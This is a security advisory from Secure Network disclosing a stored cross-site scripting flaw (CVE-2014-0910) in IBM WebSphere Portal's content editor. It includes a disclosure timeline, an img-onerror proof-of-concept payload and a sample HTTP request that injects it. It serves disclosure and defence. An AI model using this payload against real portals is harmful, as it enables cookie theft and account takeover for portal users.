Security Research Advisory

IBM WebSphere Portal
Cross-Site Scripting Vulnerability

Table of Contents

<table>
<tr><td colspan="5">Stored Cross-Site Scripting (XSS)</td><td>Advisory Number</td></tr>
<tr><td colspan="5"></td><td>SN-14-04</td></tr>
<tr><td>Severity</td><td>Software</td><td>Version(s)</td><td>Accessibility</td><td>CVE</td><td>Author(s)</td></tr>
<tr><td rowspan="3">M</td><td rowspan="2">IBM WebSphere Portal</td><td rowspan="2">7.0
6.1.5
6.1.0</td><td rowspan="2">Remote</td><td rowspan="2">CVE-2014-0910</td><td rowspan="3">Filippo Roncari</td></tr>
<tr></tr>
<tr><td colspan="2">Vendor URL</td><td colspan="2">Advisory URL</td></tr>
<tr><td colspan="2">http://www.ibm.com/</td><td colspan="2">-</td></tr>
</table>

Date	Details
16/01/2014	Vendor disclosure
17/01/2014	Vendor acknowledgment
06/06/2014	Patch release
01/10/2014	Public disclosure

Summary

IBM WebSphere Portal is a leader in the market product that provides enterprise web portals to help companies deliver a highly-personalized, social experience for their customers. IBM WebSphere Portal gives users a single point of access to the applications, services, information and social connections they need.

Vulnerability Details

IBM WebSphere Portal is prone to a stored Cross-Site Scripting (XSS) vulnerability in the Web Content Management component, which allows authenticated users to inject arbitrary JavaScript.

A potential attacker authenticated to the Web Content Management can exploit this vulnerability by creating a malicious web content and persuading the victim to visit it. This issue can lead to different kind of user-targeted attacks such as cookie stealing and account violation.

Further information can be found at:

- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0910
- http://www-01.ibm.com/support/docview.wss?uid=swg21675257

Technical Details

Description

The Web Content Management component of IBM WebSphere Portal provides a way to author and manage portal web contents. Authors are able to insert HTML tags through the HTML view of the Rich Text Editor, although active scripts are blocked and not executed. However it is possible to inject arbitrary JavaScript using a licit tag such as *img.* Rich Text Editor seems to try to correctly handle the tag allowing client-side script being executed. A trivial payload like the following can be used:

PoC:

```
<img src=a onerror=alert(document.cookie)>
```

An exemplifying HTTP request is reported below.

HTTP Request:

```
POST portal/!ut/p/b1/pZHLboMwEEW_KLJJeC5HGHAQkJZQCt5EzqMmx[…] HTTP/1.1
Host:
Proxy-Connection: keep-alive
Content-Length: 20108
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAzBIVym1up1GRKBv
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: it-IT,it;q=0.8,en-US;q=0.6,en;q=0.4
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

------WebKitFormBoundaryAzBIVym1up1GRKBv
Content-Disposition: form-data; name="PC_Z7_CGAH47L00OJ790IAH1AFAN1GT0000000_wh"

save_and_read_controllable
------WebKitFormBoundaryAzBIVym1up1GRKBv
Content-Disposition: form-data; name="PC_Z7_CGAH47L00OJ790IAH1AFAN1GT0000000_wa"

[…]

true
------WebKitFormBoundaryAzBIVym1up1GRKBv
Content-Disposition: form-data; name="cmpnt_map_19W14388ed1e14Content_inithtml"


------WebKitFormBoundaryAzBIVym1up1GRKBv
Content-Disposition: form-data;
name="PC_Z7_CGAH47L00OJ790IAH1AFAN1GT0000000_cmpnt_map_19W14388ed1e14Content"

<img src=a onerror=alert(document.cookie)>

------WebKitFormBoundaryAzBIVym1up1GRKBv
Content-Disposition: form-data; name="cmpnt_map_19W14388ed1e14_RTE"
```

This issue leads to javascript arbitrary execution directly in the web content draft, potentially hitting all authenticated authors. Furthermore, if content is published, it will target all portal users with injected payload.

Legal Notices

Secure Network (www.securenetwork.it) is an information security company, which provides consulting and training services, and engages in security research and development.

We are committed to open, full disclosure of vulnerabilities, cooperating with software developers for properly handling disclosure issues.

The information in the advisory is believed to be accurate at the time of publishing based on currently available information. This information is provided as-is, as a free service to the community by Secure Network research staff. There are no warranties with regard to this information. Secure Network does not accept any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.

If you have any comments or inquiries, or any issue with what is reported in this advisory, please inform us as soon as possible.

e-mail	info@securenetwork.it
phone	+39 02 917 730 41